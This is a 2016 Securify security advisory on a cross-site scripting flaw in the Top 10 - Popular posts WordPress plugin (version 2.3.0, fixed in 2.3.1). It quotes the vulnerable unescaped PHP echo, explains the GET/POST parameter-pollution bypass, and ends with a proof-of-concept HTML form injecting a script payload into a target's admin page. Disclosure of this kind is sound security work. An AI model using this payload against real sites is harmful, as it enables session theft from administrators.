Yorick Koster, July 2016

Cross-Site Scripting vulnerability in Top 10 - Popular posts plugin for WordPress

Abstract

A Cross-Site Scripting vulnerability was found in the Top 10 - Popular posts WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID

OVE-20160712-0017

Tested versions

This issue was successfully tested on Top 10 - Popular posts plugin for WordPress WordPress Plugin version 2.3.0.

Fix

This issue is resolved in Top 10 version 2.3.1.

Introduction

The Top 10 - Popular posts plugin for WordPress WordPress Plugin tracks daily and total visits on blog posts. Display the count as well as popular and trending posts. A Cross-Site Scripting vulnerability was found in the Top 10 WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Details

The issue exists in the file class-stats.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.

<form method="get">
   <input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>" />
   <?php
   // If this is a search?
   if ( isset( $_REQUEST['s'] ) ) {
      $args['search'] = esc_sql( $_REQUEST['s'] );
   }
   
[...]
   
</form>

Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.

Proof of concept

<html>
   <body>
      <form action="http://<target>/wp-admin/admin.php?page=tptn_popular_posts" method="POST">
         <input type="hidden" name="page" value="&quot;<script>alert(document.cookie);</script>" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>